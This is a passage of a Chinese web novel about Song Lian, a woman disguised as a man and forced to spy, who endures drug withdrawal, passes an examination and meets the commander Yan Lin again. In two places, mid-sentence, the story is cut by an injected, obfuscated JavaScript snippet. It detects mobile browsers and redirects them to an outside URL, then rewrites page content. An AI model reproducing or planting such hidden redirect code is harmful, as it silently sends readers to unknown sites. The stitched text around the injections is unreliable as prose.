就好像,世间从来没有宋连,只有傀儡陈科。 不过也是,就算是去问关系最亲密的蒋明川,宋连是谁,他也会迷茫地摇头。 * 解开缠绕了一圈又一圈的束胸,宋连轻轻地呼出一口气,抬腿跨入浴盆中,安静地躺下来。 热水包裹着全身,给人一种安宁的错觉,好像真的回了家,一个安全的家。 每日风吹日晒之下,少女的肌肤晒成均匀的小麦色,水汽之中泛着淡淡的光泽,身体每一处无不透露主人常年习武得来的紧实感。女人的眉眼英气凌厉,即使是独处之时也泛着拒人的冷意,唯有一点朱唇,在水雾之中娇嫩欲滴,平添一丝柔美。 “小科!洗澡呢?怎么不喊着我一起?”蒋明川的声音在屋外大剌剌地响起。 “别进来,我不爱和别人一起。”女人倒也不紧张,这蒋明川次次提起,但从不会在未经允许时推门而入。 “真是的,明明就有屏风隔着,大男人有什么可害臊。”蒋明川的声音渐渐小了,想是走远了。 幼时未想那么多,一时应下了与蒋明川同住的请求,年纪渐长,宋连感到了不便,在屋内也得提着一口气,小心处理束胸和月事,再想搬出去时,楚教头已早早把空房间另作他用,只好作罢。但好在蒋明川大大咧咧,心思又粗,偏偏还是极尊重人的好性子,宋连上闩锁门,他绝不会硬闯。 只剩下宋连一人,她开始冷静下来盘算。 首先,陈老爷对这药很有自信,这瘾绝对十分难戒,但不能不戒,以后每次服药,逐次减量,再试试断掉一天、两天、三天,终有一天可以免疫,声音可以自己来练,一点点变化别人不会察觉。在药瘾戒掉之前,还需要稳住陈老爷,假意顺从于他,不让他发现端倪。 其次,要想不一直被掣肘,那陈老爷必须得死,这一点,绝不能妥协。他能骗自己一次,可见是不会再放手。既然是把自己安插在风宪台,他就一定会有害怕被风宪台查到的东西,如此想来,这份职位倒是很有益处。 最后,要取得晏临的信任。如果陈科的身份难以脱掉,起码还是要保证未来的日子过得顺畅,仕途走得安稳。所以做眼线,除开隐蔽不说,也要把握传递消息的平衡,若是让晏临发觉,自己不栽在陈府也得栽在晏临手里。 想完这些,宋连才觉得呼吸顺畅起来。 10. 再次相逢 京城三月,大雨滂沱,连下三日也不见停,就连大白日也打着雷,听着让人心惊。乌云黑压压盖在头顶,豆大的雨珠拼命往下砸,路上人烟稀少,偶有行人也是步履匆匆,生怕那纸伞真让发了疯的雨砸出个洞来。 “少爷!这药您不能这么勤吃,”一位身穿鸦青色袍服的侍卫神色紧张,一双眼紧紧盯着眼前病容憔悴的主子,一手帮忙扶着那碗。 拿碗的人似乎格外虚弱,不住地咳嗽,露出的指节泛着淡淡的青色,竟让碗里汤药一半洒在地上。 侍卫另一手轻拍着那人背,只见那人黑发杂乱地散落身前,一身了无生气的白色,连那嘴唇也失了血色,唯有一双眼睛澄澈清明。 “阿鲁,入了京,该叫大人,”那人眼看手肘无力,仍坚持着要将药碗夺回,少见地大声斥道,只是身体虚弱,纵是简单的拔高声音也显得极为费力,“难道身为指挥使的第一日便叫人看出来身体虚浮内里不济吗!” “……是,晏大人,”阿鲁满眼心疼,却眼见拗不过他也不想再让他费力,只好将碗递去,“只是大人,这药毕竟伤身,强行提高几日的状态,折损的却是身体根本啊!” 一口闷完了剩余的汤药,晏临只觉头痛欲裂,浑身汗湿,几缕头发黏在脸前,却又手脚冰凉,处处使不上力来,将碗递给阿鲁后便再次躺下,“我心里有数。” 他听见自己费力的、不畅的呼吸声,想将寝被再提上来些,手却无论如何使不上力。 阿鲁见状,连忙放下汤碗替他掖被。 晏临侧过身去,面朝着床里,闭上了眼睛。 他祈祷今日不会再做梦,不要再梦见少时挥剑的情景,不然醒来,又是极为沉痛的现实。 * 宋连早上起身时,蒋明川已出去了。 每到下雨天,他总会被楚教头拎出去单练,据他说是去那乱葬岗,给死人解剖,练胆子的。想到这宋连总会笑话他,十一二岁时楚教头让他们从杀鸡开始,“真学成了别是个铜臂铁腿棉花心!拿着把剑哆哆嗦嗦下不去手!”。 宋连自是不在话下,当乞丐时若是能捉住一只活鸡定要快快扭断脖子交给饭馆的王厨子换只鸡腿吃。但蒋明川愣是下不去手,明明以他的力气不消费劲便可拧断鸡脖,却搞得满身满脸都是鸡毛,那鸡还雄赳赳地满地乱跑。 所以自打那起,蒋明川就多了个任务,杀鸡杀羊乃至死人解剖。至于为何是雨天,楚教头可不想白白耽误晴天练武的好时候。 宋连熟练地缠起束胸,套上衣服,胡乱抹了把脸,洗漱完之后再三确认门闩已上好,又把帘子拉了个严严实实,确定不会让屋外瞧见里面分毫,她才坐定。 她算好了日子,昨晚便该服药了,但听楚教头讲钦天监预报这雨还得下个两天,她便打定主意,将那打了绳结的药包依然完好地锁在抽屉里,不能在大考之后进了风宪台才试验这断药的后果,今日,宋连得心里要有个数。 雨天本就天光昏暗,屋内拉紧帘子,又未点烛火,此时便如同黑夜一般。 “啊”宋连轻轻地、试探性地发出声音。 这声音发得极不熟练,宋连仿佛是听见了陌生人的低喃,一时间浑身战栗,后背都猛地一僵。 将近八年了,她从未听见过自己真正的声音。 这八年来她无时无刻不小心谨慎,当初去医馆,那郎中道这停月信的药是女子避孕所吃,多食伤身,她思忖之下便每月选定日子停药,待那月信来了总要等深更半夜偷溜出门将身下布带赶快处理掉;换衣沐浴提着一颗心迅速完成,裹进衣服里才能稍稍安心;隐声药更是一时不差吃着,真声从不敢显露,就怕隔墙有耳。 两年前蒋明川随口一句“小科,你怎么没有我这么突出的喉结”,都令她紧张得连吞口水。 她不是无知无畏幼童,被人剥了衣服全身赤裸的梦,被发现获了欺君之罪的梦时常令她夜半惊醒。但若仍然站在八岁那年,她也只有这一条路可走。 既然无法选择,那就必须走下去。 “宋连,宋连,你会好好活下去的。” 这声音发得依然极轻,但宋连听得清清楚楚,从未有人唤过的她的姓名。 还好她还记得自己是谁,谁又是陈科。 少女的声音没有如何婉转柔软,也不清脆甜美,但很中听,宋连很喜欢。 今日雨声极大,她又轻轻哼了首童谣,在黑暗里,静静等待着停药的反应。 一刻,两刻,三刻…… 大约又过去了一个时辰。 距离该吃药的时间已过去五个时辰了。 忽然间,宋连觉得犹如幻觉一般,全身触电似的掠过一阵痒意。她猛地坐直了身子,口中吟歌也戛然停止。 痒意又席卷而来,瞬间拢住全身!这不是得了皮肤怪病的痒意,宋连得过一次痘病,唯有指甲挠破才能解了那痒,但这不一样! 它似乎钻入了皮肉之下,紧紧附着在筋骨之上,宋连狠狠揉搓两把胳膊,非但没有消解,反而一波更胜一波,全身似被蚂蚁啃食骨肉,细细小小却又密密麻麻,拿它们尖锐的触角、带着绒刺的身体在骨头上来回爬。 宋连瘫倒在床上,抱膝蜷缩着,拳头不停敲打着全身。 “啊,啊”她不敢发出太大的声音,纵是难挨,也不行!不能有人碰巧从窗边路过听见陈科屋里有女孩的声音。 她克制不住地来回翻转,手指又死死扣住床单,将布料攥得皱皱巴巴,嘴巴依然被折磨地想叫出声,她又只好将枕巾塞在嘴里。 痒,太痒了,痒得快要受不了了。 拳头想发了狠得捶打身子每一处,但也不行,拳头击打□□的声音也太大了!宋连死死压制住这冲动,只好从嘴里发出可怜的呜咽。 时间才过去一刻。宋连看向锁药的抽屉,不,不行,一刻也太短了。宋连,你起码坚持一个时辰,蒋明川大约中午才会回来用饭,机不可失的机会你不能轻易放过! 宋连从抽屉那挪开了目光,索性狠狠闭紧双眼,手指扣住大腿上的肉,几乎快要见血,痒意未有丝毫停歇,从脚到脖子,唯独剩下的头此刻也要被折磨得不剩什么清明。 她额头上、脖子上短短时间已全部布满汗珠,头发丝都滴着水,稍一抬眼汗珠便从睫毛上漏下滴进眼睛里。脚趾头抓着床单,两腿不受控地来回搓磨,手还在狠狠扣住大腿,只能是大腿,不会叫人看见。 半个时辰了。 宋连几乎没了力气,她摊开来躺在床上,床单已几乎湿了,枕巾从口中吐出。她任由逼人的痒意爬过全身,她逼着自己去想些别的,短短十八年到底有什么好想,可以让她暂时脱离这副躯壳。 大脑依然无法思考,它没办法从这副备受折磨的身体上移开分毫。 宋连,你要赢,你会赢的,想一想或许未来总会有一天,你能挣开束缚,自由自在,街坊邻居会夸你武艺棒,小孩子们会编首童谣夸赞你行侠仗义,你可以自由地来月信,自由地唱歌。最重要的是,人们都会叫你“宋连”。 不知是没力到睡着了,还是干脆昏过去了。 宋连是被门外不远处的脚步声叫醒的,是蒋明川的,她识得。 她拖着这副身子,几乎是爬到了抽屉前,手颤颤巍巍打开,那绳结愣是解了半天才堪堪开了,宋连一把抓住药丸便往嘴中送,来不及喝水咽下,便干脆嚼碎了和着口水吞下。 痒意几乎即刻减弱了。 屋外响起来敲门声,“小科?还在睡吗?开门呀,我得赶紧冲个澡,臭死了!” 宋连深吸一口气,迅速回床把被子展开,盖住床上的汗渍,又赶紧将散乱的头发抓好,将衣服拍展开来盖住大腿的血印,重新洗了把脸,看见铜镜中面色除了红了些几乎正常,她又试探性轻轻啊了一声,是熟悉的喑哑低沉。 宋连打开了门。 第一次断药,五个时辰开始反应,可以支撑两个半时辰,但神志清明的时间,不足两个时辰。 宋连暗暗记下。 * 蒋明川打一进门便是臊眉耷眼,浑身湿透,一股子尸臭混着雨腥气直往屋内冲,他将外袍飞快解开远远地甩到屋外后啪地关上了门,犹是如此,那大雨也将门内地上打了个精湿。 他倒也没往宋连那瞅,正嫌弃的捻起衣领往鼻子那一闻,又赶忙扯远,急匆匆将那衣服脱下,等全身脱得只剩中衣,又收拾着要去打水,边嘀嘀咕咕抱怨道:“你不知道楚教头都找了什么人!呸,什么尸,腐烂大半,蛆都在嘴里爬,热水,我迫不及了!” 宋连还在床边有些坐立难安,这被子晌午了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763656|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还未叠,又掩着窗还未点灯,瞧着总有些奇怪,只能指望蒋明川那个粗神经赶紧去净房洗澡,好叫自己平复一下心情,赶快收拾收拾,编一个像样的理由。 蒋明川对于宋连不搭话倒是不怎么在意,他满心都是赶快冲去洗洗把这身上去去味儿。 待他出来,宋连已将被子整齐铺展开,她刚刚又确认了一遍,雨日水印难干,床单还是不要漏出来的好,又将头发整整齐齐重新梳好,虽然还有些汗滴湿乎乎的,但已经自然多了。 “欸,你今日怎么躲懒,这么能睡,叫了你好半天呢,”蒋明川一边擦着头一边忘来,“你脸色也有点不好,身上不舒服吗?” “发了噩梦。” 蒋明川对于这个回答倒是不置可否,只说下回再有便要陪着去山下买些安神汤。 * 大考之前,又逢雨天,宋连再次试着断了一次药,这次她坚持坐在凳子上,唯恐汗湿床单,可庆的是神志清明的时间延了一刻钟,就要昏过去时,宋连将早已准备好的放在手边的药吞了下去。 这次屋内的景象要体面的多,来得及在蒋明川回来前将自己收拾得齐整自然一些。 谁知楚教头这次竟然早早就放过了蒋明川!窗帘还未拉开,头发上还滴滴答答都是汗,面色潮红还未恢复,又响起了蒋明川的叫门声! 宋连只好起身应门,只见蒋明川满脸狐疑地看着她:“又发噩梦?” “嗯,”宋连视线错开,“休沐时去配个药。” 却不想这次蒋明川洗完出来,神秘兮兮地拉着宋连坐下,交膝相谈,他难得地踟蹰了好久张不开口,脸都要憋红,宋连忍不得这让她心焦的场景,起身就要走,蒋明川一把将她按下,飞快说道:“大家都是男人,没啥不能理解的,但是小科,你注意身体啊,这大上午的,久了对身体不好……” 看着蒋明川眼皮都不敢抬,只悄悄瞄了几眼宋连,说完这些话脸上便又烧红了。 宋连怔了半天,猛地意会,一时大囧,又心道总比他起了疑心好,不好再做解释,再说大考就要来了,二人也不会再同住。 * 山上的日子平平淡淡,很快就到了大考当天。 说是大考,其实氛围很是轻松,三位指挥使和楚教头坐上座,几位异禀者分成两列坐下席,点到名就自我陈述,必要时展示一二,指挥使们手中都有详尽的资料,不消一个时辰便能将各自去向定下来。 “都别紧张,不管去哪都是好的。”楚教头少有地笑着宽慰大家。 还有两柱香的时间。 指挥使们就要到了。 如何打动晏临,让自己进入风宪台,宋连已经想过。监察百官,这活就是烫手山芋,追查证据琐碎不堪,更何况有武力在身总是能防着些暗箭,自己这双眼能起些作用,又或许晏临还会记得儿时……宋连赶紧止住了这个念头,靠这短短两面的交情,甚至对他而言恐怕早已忘记,连情谊也指不上,如何指望得了?她不禁自嘲。 旁边蒋明川在底下悄悄捏了捏宋连的手,“来了,快站起来。” 宋连蹭的一下起身,抬眼便撞上了晏临的目光。 * 宋连的心还是不可抑制地跳了一下。 而且她有些不能确定,晏临的眼睛似乎在看到她的脸时竟然有一瞬间的讶异,虽然转瞬后又恢复如常,若有若无地从宋连手上轻轻滑过。 他不再穿束装了,一身青色的广袖袍,懒懒散散地挂在身上,一头黑发简单抓了一个发髻,垂落至腰间。 他有些不一样了。少年时他是蓬勃的、旺盛的,哪怕如何温和有礼也掩不掉眉间跳跃着的骄傲,可现在,他更像是一面沉静的,不起波澜的湖面。 但他眼睛依旧很漂亮,含着笑意朝楚教头问好,再落座,如葱玉般修长白皙的手指轻轻端起一杯茶,抿着茶水,噙着一抹淡淡的笑意和身边两位大人说着话。 “大考这就开始,陈科,你先来吧!”楚教头宣布。 宋连起身,众人的目光齐聚过来,包括晏临的。 蒋明川还在兴奋地等着宋连成功加入玄武卫。 “我想要加入——” “你想来风宪台吗?”一声温和的询问截断了宋连的话。 宋连难以置信地看向晏临。 11. 巧遇新人 屋外起了风,树枝斜斜躺去,叶片也慵懒地卧在午后日头的光影下,枝叶间筛下的光斑投在泥土地上轻轻摇曳,宋连听见了风吹而过叶片惊醒的细细簌簌,听见了白玉兰花落的声响。 那是株极为高大的树,玉兰花生的也极大,可惜花期太短,刚过四月便谢掉了,那样大一朵花坠下,死得令人惊心。 余光里,宋连看到蒋明川着急地打着手势,大张着嘴巴,嘴型似乎在催促:“赶紧拒绝!” 晏临静静地望着她。 “我愿意。” 宋连呼出一口气,这本是她预想中努力争取后的结果,如今出乎意料省得她费口舌,却让她此刻略微有些不安了。 晏临没再多话,提笔在面前的册子上勾了几下,朝宋连微微点了一下头,便是让她可以落座了。 时隔十年,宋连真的摸不准他的心思。少年时他温柔亲切,话虽也不多,但总是令人舒心,宋连从未感觉她和这位侯府的小公子有什么高下之分的距离感。 可再见面,他似乎是主动示好,抛出了风宪台的橄榄枝,同样温和却令人觉得如此遥远,宋连本想说些什么的话通通都咽了下去。 若是在当年,他大概会再笑着解释几句,宋连想。 宋连压下了淡淡的失落。 人到底都是会长大的,二十三与十三,十八与八岁,肯定是会不一样的。或许,该当他是全新的晏临,风宪台的指挥使,自己的顶头上司和眼线对象,未来打倒陈府的助力。宋连如此调理自己。 那头蒋明川已经急疯了,不等宋连完全坐下,便急不可耐地抓住她的袖子,压着声音快速说道:“你疯了啊,他只是问一句,不会真的阻止你去玄武卫的!你干嘛要答应啊?!” 宋连按下他的手,她似乎余光里又看见晏临往两人手上轻轻扫了一眼。 “我父亲要求的。” 蒋明川顿时驼下了身,他见过陈府待她如何之严,见过她稀烂的膝盖,和高高肿起的脸颊,于是他收了声,闷闷地说道:“那你该早点告诉我。” “对不起。”宋连的确觉得有些过意不去,但她不知该如何开口,“我请你去遇仙楼吃一顿。” 蒋明川小小地哼了一声。 * 大考结束得很快,除了宋连,其他几人都快速地做了自我介绍,又展示了一二。蒋明川如愿以偿地顺利进入玄武卫。散场之后,指挥使先行离开,楚教头有些感慨,“一周之后,便要各自上任了!预祝各位仕途顺利,大展宏图!别忘了学堂,也别匆匆把老身撇在脑后了。” 屋外风声不止。 蒋明川已经眼含热泪,扑一下冲过去抱住了楚教头,八尺高的健硕男子趴在老人肩头带了些哭腔:“我会常常上山来看你的。” 楚教头笑了,他轻轻拍拍蒋明川,“好!我等着你干出一番事业来请老身喝酒!” 宋连心中同样感慨万千,但她不习惯在众人面前流泪。 她看向了窗外落了一地的白玉兰,心尖感到酸酸的,像被人掐着拧着。她在这山上过了十年,几年前送别了一同进入学堂的几人,老魏也早早过了大考去了天狱司,今年,轮到她离开这了。 时间说慢也慢,宋连挨打罚跪时恨自己拳头还太小,力气不够大,恨不能快点自立,但日子还是一堂课、一顿饭慢慢磨着。可时间说快也快,倏忽间树便长高了,蒋明川褪下婴儿肥还能面不改色剖尸,宋连也踏上那新的未知之路。 二人回房简单收拾了一下,一时无话,宋连先锤了下蒋明川的背:“走吧,下山请你喝酒。”,这几年陈老爷势头很好,出手也大方许多,每月给宋连不少银钱,宋连也不含糊,白到手的钱不花是傻子。 蒋明川闷闷地应了句好。 下山的路上,宋连渐渐平静,趁着这会子蒋明川话不多,她开始梳理大考时的情形。 晏临为何开门见山,直接就要她去风宪台。她的能力对于风宪台来说并不是如何适配出彩,更谈不上无可取代,可他如此果断直接,若说是交情,宋连不信,他眼神都未多给一个,说话更是公事公办。 思绪被蒋明川一拉袖子打断。 “我没生你气。我是要离开这,还要和你分开,很不舍得,心情不好。”蒋明川说道。 宋连的心顿时又软了。这些年她能与蒋明川处得好,实在要归功于他性子天真直率,热情又善良,无论谁靠近他都会觉得暖烘烘吧。 宋连与他碰了碰拳头,相视一笑。 * 下了山,二人一路上说说笑笑,气氛又重新轻松起来。这城中的条条道路已是十分熟稔,不消多时,二人已走到了遇仙楼下。 这几年虽也不算常来,但到底是比初次从容许多。 蒋明川生辰时非要拉着学堂众人,又邀了已在天狱司的老魏来此热闹热闹,喝醉了酒还要振臂高呼:“我和小科一定会在玄武卫建功立业,保家卫国!” 这两年蚩蛮另立新王,据说新王甫一上位便动作频频,举措不断,颇有大刀阔斧整顿上下之意,其野心昭然若揭。 如今踏足楼内,不再会有堂倌的阻拦,二人信步闲庭,随意找了个二楼靠窗的位置便坐了下来,雅间还是不舍得包的,好在这位置有帘子遮挡,倒也算得上幽静。 “再来一壶烧云酒。”蒋明川朝小二点完了菜又补充道。 一刻钟的时间桌上便布满了菜,蒋明川照例先给宋连沏了杯茶,又将宋连喜欢吃的大虾换了位置摆在她面前后才动筷。 “去了玄武卫,估摸着会在京中再训练一段时日,之后我会请命充入边军,”蒋明川猛喝一口酒,“若离了京,就不知何时才能再见了。” 宋连也很是感伤,在路上时两人都心照不宣不提此事,害怕误了这好不容易轻松一些的氛围。 “不过多行几日车马,若是想见必能再见。”宋连嘴上如此宽慰,心里却更加沉痛。 此次一别,真有再见之日吗?到了那时,自己依然是生死一线的眼线,受人拿捏的“陈科”吗,亦或者一切顺利,彻底脱身,用宋连的身份与蒋明川再见?但是那样,也会把蒋明川扯进欺君之罪的祸事里。 孑然一身,可能才是她的归宿,宋连不禁苦笑。但那也好,潇洒游侠,不失为江湖美事。 蒋明川并不知宋连心中所想,他被她的话打动,开阔了些心胸,喝道一声“好!”,拿着那壶酒与宋连的茶杯一碰,仰面干了。 她也仰头将那杯茶喝到底,饶是此刻,心中愁绪万千,悲苦难言,她也不敢饮酒。喝醉了酒,人会说胡话,做傻事,不适合一个需要时刻紧绷神经女扮男装的人。 宋连一味地喝茶。 她是难过的,流泪的冲动她不是没有过,在当“小童娘”逃不掉时,她恐惧,在被逼做了“陈科”挨了巴掌后,她愤怒,在被诱逼跪在陈老太爷棺前时,她自厌,在得知染了药瘾不得不去做眼线时,她痛苦。 但此时,她真心实意地难过。蒋明川或许仍能安慰自己二人不过距离问题,但她不能,她是禁锢之身,揣着要烂在肚子里的罪。 一楼突然传来一阵摔摔打打声惊动了二人。 蒋明川立刻揣上剑,掀开帘子大步向前迈去,宋连紧随其后。在二楼廊中可以俯瞰一楼全貌。 “滚开!我能看上她那是她的福气!你们可不要不识抬举。”一个醉汉摇摇晃晃地指着前来的掌柜,那掌柜身后护着一位抱着琵琶,头发凌乱的女人。 “凌儿姑娘是弹唱琵琶,不作陪酒的,公子。”那掌柜弓着身子讨道。 “什,什么不陪酒,小爷我就点她了!银子小爷多的是!”那醉汉不依不饶,看着穿着确实不俗。 宋连眼尖,一眼便认出,“李昆。”这些年二人在京中也打过照面。 还不待宋连发话,蒋明川已经一跃而下。 宋连抓了一把花生米,“嗖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763657|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的一声弹飞出去,只听李坤诶呦一声,这粒米刚好打在他额头,又一粒砸中他手腕穴位,整条手臂顿时麻得使不上力。 “谁!谁敢给小爷使暗招!”李昆用没麻的手臂捂住额头,呲牙咧嘴朝二楼看去,“陈科!又是你!” “打得就是你!”蒋明川高声喝道,快步夹到李坤和掌柜之间,“光天化日,行这不轨之事!” “愣着干什么,小爷我被狗咬,你们赶紧打啊!”李昆朝背后一队护卫嚷嚷。 蒋明川立刻扭住了李昆胳膊反剪在身后,李昆费力挣扎也脱不开一二,在众护卫面前更显尴尬。 蒋明川天生神力,别说区区一个五体不勤的公子哥,就算是满身横肉的壮士,他也不在话下。 “诶哟各位爷,你们行行好,这店内还有客人,别砸了咱家招牌。”虽说喝酒闹事大有人在,但拔剑打架之事还是能无就无。 宋连冷哼一声,眼疾手快,朝楼下掷去一酒杯,直飞到李昆背后打算拔刀的侍卫手上,铛的一声脆响,那侍卫虎口被震颤得用不上力,倒叫刀哐当一声砸在地上。 宋连没带箭,短刀倒是随时带着,但她只用短刀取命。对付流氓纨绔,手上有什么便用什么。 李昆抬起了头,四顾环绕一圈,看见了宋连。宋连也没打算藏,花生米多的是,她一句也懒得和这人开口,只自顾自朝他身上各个穴位飞快弹去。李昆登时全身瘫软使不上力来。 只一张嘴不断吆喝:“上去啊!给我打他!” 蒋明川立身挡在楼梯前。那队护卫只当是跟着李昆出来行酒作乐,也没想真打一架,眼看面前男人高大魁梧,楼上身量略微小些的又有那般内力,不免踟蹰。 “李昆。”楼内走进一位女子。 李昆听声滞住,慢慢扭头看去,立刻像个鹌鹑似的束了手脚收了声。 看来醉汉也是分人醉的,宋连暗自冷笑,也朝门口看去。 那女子年岁约莫着二十三四,双鬓乌黑,肤色莹白,发间簪着一颗成色上好的白玉珠,宋连纵是对女儿物件不甚熟悉,也看得出那珠子价值不菲。 女子一身天水碧色长裙,裙间竹影若隐若现,在这酒楼中行走也若步于高山流水之间,与周遭格格不入。 她款步而来,端的也不是女儿家婉约娇怯之态,倒有一些端方威仪,沉静之至。 是个出尘的美人,宋连赞道。 走到李昆面前,还未等她开口,那李昆便立刻讨饶:“许姐姐,我错了,您行行好,别去和我爹说。” “你当如何?”女子抬眼说道。 李昆立刻跑过去对着凌儿道歉,倒叫那女子吓得惊叫出声。“这次是我吃醉了酒,冒犯了你,我认罚!我,我把这酒一口喝干向你赔罪!” 李昆随手便抓起旁边放的大勺,直朝一小酒缸过去,抬头就是猛灌,连喝三大勺,直喝得满面升红,气喘吁吁,狼狈不已。又从袖中掏出几锭银子,塞到掌柜手中,朝着那许姑娘深深鞠躬,逃也似的带着一众侍卫走了。 宋连顿感有趣。 不是没有人向她讨饶过,但那要不就是她的箭射在那人脚尖加以恐吓,要不就是短刀架在脖颈、捅在心窝。她一向凶悍狠厉,下手又快又准,才叫那些人生怕。 可这许姑娘,进门不过只说了两句话。 不简单啊,宋连眼睛闪着亮光。 楼下蒋明川眼神发直盯着那女子,他已准备好拔剑大干一场,没成想,这事就这么轻易结束了? 那女子未朝二人多看一眼,径直向掌柜的说道:“我定了庭花阁。” 掌柜似是认识,并未多吃惊,立刻就恢复了往日营业的微笑,躬下身子请道:“许大人,您这边请。” 大人?难道这女子有官职在身?蒋宋二人互相对视,皆是不解。宋连好奇想去探个究竟,右肘一撑,侧身便向一楼跃去。 晏临刚踏入遇仙楼,看见的便是这番情形。 12. 那不是梦 晏临醒来时,已是巳时三刻。 他侧着撑起身子,一头乌发散落在肩,“怎么不早些喊我?”,昨日歇下时又喝了药,本想着今日精神头会好些,不想仍是嗜睡。 阿鲁快步走上前,撅着嘴解释道:“大考是晌午过后的事,大人不必着急,该多休息。” 是了,晏临想起,昨日他给逍墨放了一日假归家。阿鲁这孩子是祖父行伍途中捡的,祖父死后便跟着自己离了京,性子不似逍墨那般奉命唯谨,反倒惯会自己拿主意。 不过也是心疼自己,晏临未多责怪。 阿鲁端来铜盆,又拿来澡豆和面巾为晏临舆面,“我自己来,”晏临接过,如今虽已入春,指尖仍是冷的,泡在温水里,血液才觉着活泛开来。 窗外梨花洁白胜雪,树叶枝杈间碧空如洗,春风袭来,混着花草淡雅的香气飘进屋内。 但晏临难以自制地打了哆嗦。明明是春日啊,他苦笑道。 阿鲁见状,啪一声将窗户关上,“大人,四月有时也倒春寒呢,还是关上窗暖和些。”他说道。 晏临垂下了眼。盆中水凉的太快,不然手指怎么又失了血色。 * 上山路上,晏临坚持脱下了阿鲁一定要他穿着的披风。 “我路上不是一直都穿着了吗,”晏临看出阿鲁神色不愉,拍拍他的手解释道,“不好叫人发觉我身体有恙,很快便到屋内了,没什么事的。” 自从十四岁那年害了那场来势汹汹又稀里糊涂的病,晏临的身子就不行了,如今只是勉强稳住,每月仍会发病,要想如同常人一般,就得喝公孙先生亲手配置的药。但先生嘱咐过,这药只能提高一时状态,长久却会损伤根本。 晏临不敢多喝。祖父如何会突然身死他还未查清,怎么敢先糟蹋坏了身子。除了每月发病尤为厉害的几日,平日里只喝些温补的药,身子就这样吊着。 阿鲁知道晏临不得已,接过了披风又转手递上自己早前就准备好的手炉,“藏在袖子里,别人看不到,大人拿着。” 晏临没有拒绝,他微微笑了笑。 今时不同往日,晏临足足多花了当年两倍的时间才上了山。 他看过这期大考异禀者的资料,对陈科有些印象。孩童时期便是狡黠的狸猫,爪子很利,胆子又大。他应当是去玄武卫,晏临默默道。 但变故就发生在他走入屋内,恰巧撞入了陈科的眼睛。只那一眼,晏临心里掀起惊涛骇浪! 他十四岁那年突发恶疾,众人说他一连昏迷了数日,但他觉得奇怪,他好似在昏迷的那几日魂魄离体,附到了几年后自己的身上,荒诞如梦,公孙先生也无法解释。 在那里的几日,他遇见了一个女人,外人道这是他的妻,一身白衣美的夺魂摄魄,她朝自己飞奔而来,却在胸前绽开一朵触目惊心的血花。 他还听见有人说:“身为一个细作,却可笑地动了真情,该死。” 就在刚刚那一眼,陈科儿时、陈科现在、那个女人三张脸顿时重合在一起!年岁不同,打扮不同,可五官气韵别无二致。 这莫非并不是一场梦! 他几乎是匆忙收回了目光,又瞧见了蒋明川与宋连刚刚分开的手指,强自按捺中心中的惊疑。 他不敢再看,只那一眼便足以令他无法镇定!千头万绪,一时无法挑出一根线来捋清楚。 他听到楚教头宣布大考开始,又点了陈科的名字。 果不其然,没有认错,那人就是陈科,女人?细作?妻子?晏临觉得自己升起的念头甚为荒谬,但他还是开了口: “你想来风宪台吗?” 必要将人留在身边。 正好得了机会,他也好光明正大地端详起来。 身段高挑挺拔,腰身劲瘦利落,确是常年习武之人的姿态。那一张脸,说是英气,却也艳丽,浓眉深目,偏偏唇瓣生的娇美,下颌不似男子粗犷,倒是细巧纤秀。 这样一看,一副样貌确实雌雄莫辨。 晏临得到了肯定的回答,这声音粗哑低沉,他微微蹙眉,赶快便垂下了头收起目光,他唯恐自己再看下去倒叫眼神中露了情绪,让人困惑。 大考结束,晏临盘算好时间,这会子慢慢下山,到了遇仙楼时间倒正好。前几日收到信书,许筠蘅定了接风洗尘宴,说要送一份大礼。自己已回京两周有余,她倒是忙完了事刚刚回京,也不知接哪门子的风。 * 宋连一跃而下,大力拍了一下蒋明川的肩,才叫他呆呆追随那女子的眼神收了回来,回过了神,蒋明川难得收起嗓门:“小科,你瞧见没有,我觉得瑶台仙女就是如此。” 宋连暗笑,她与蒋明川形容美人的词汇倒是如出一辙,无外乎仙子仙女。 才刚想着这,一扭头却见门口来了一个人,正是自己儿时所赞的“仙子”,晏临显然也瞧见了她,正向二人走来。 蒋明川先热情地开了口,“晏大人!真是巧,您也来此,我和小科,大人还记得吗?”,他又一把将宋连也扯到身前,宋连赶忙端好笑容作了个揖,“大人。” 晏临微微颔首,“我今晚也有一闲约,不妨一起?” 他突如其来的邀约又令二人吃了一惊,不比晏临少时的生日宴,几人如今年纪渐长又入了官场,就算如蒋明川那般,性子直心思粗,也知道上官的邀请不过面上功夫随口一说,若是当真了那便是真蠢。 蒋明川连忙摆手,“谢谢大人邀请,我们俩就不——” 宋连飞快打断了他的话,笑容可掬地再次行礼:“多谢晏大人,我们恭敬不如从命。” 机不可失失不再来。 宋连抬头瞧着晏临的神色,他倒并不意外,浅浅地勾了一下唇角,好似真要邀二人一起一般。 “大人您来了!许大人就在庭花阁,我引各位过去。”一长随小步疾走过来躬着身做了个请的手势。 晏临大步向前走,宋连揪着蒋明川的袖子紧随其后。 蒋明川比着口型说道:“许,大,人。”想来便是那位女子,也真是巧了。 一路无话,宋连又想到刚才晏临看向自己的眼神,不晓得是不是错觉,总感觉那眼神中透露出说不清道不明的意思。对着仅有两面之缘的故人,不该有恍若见底的认真。 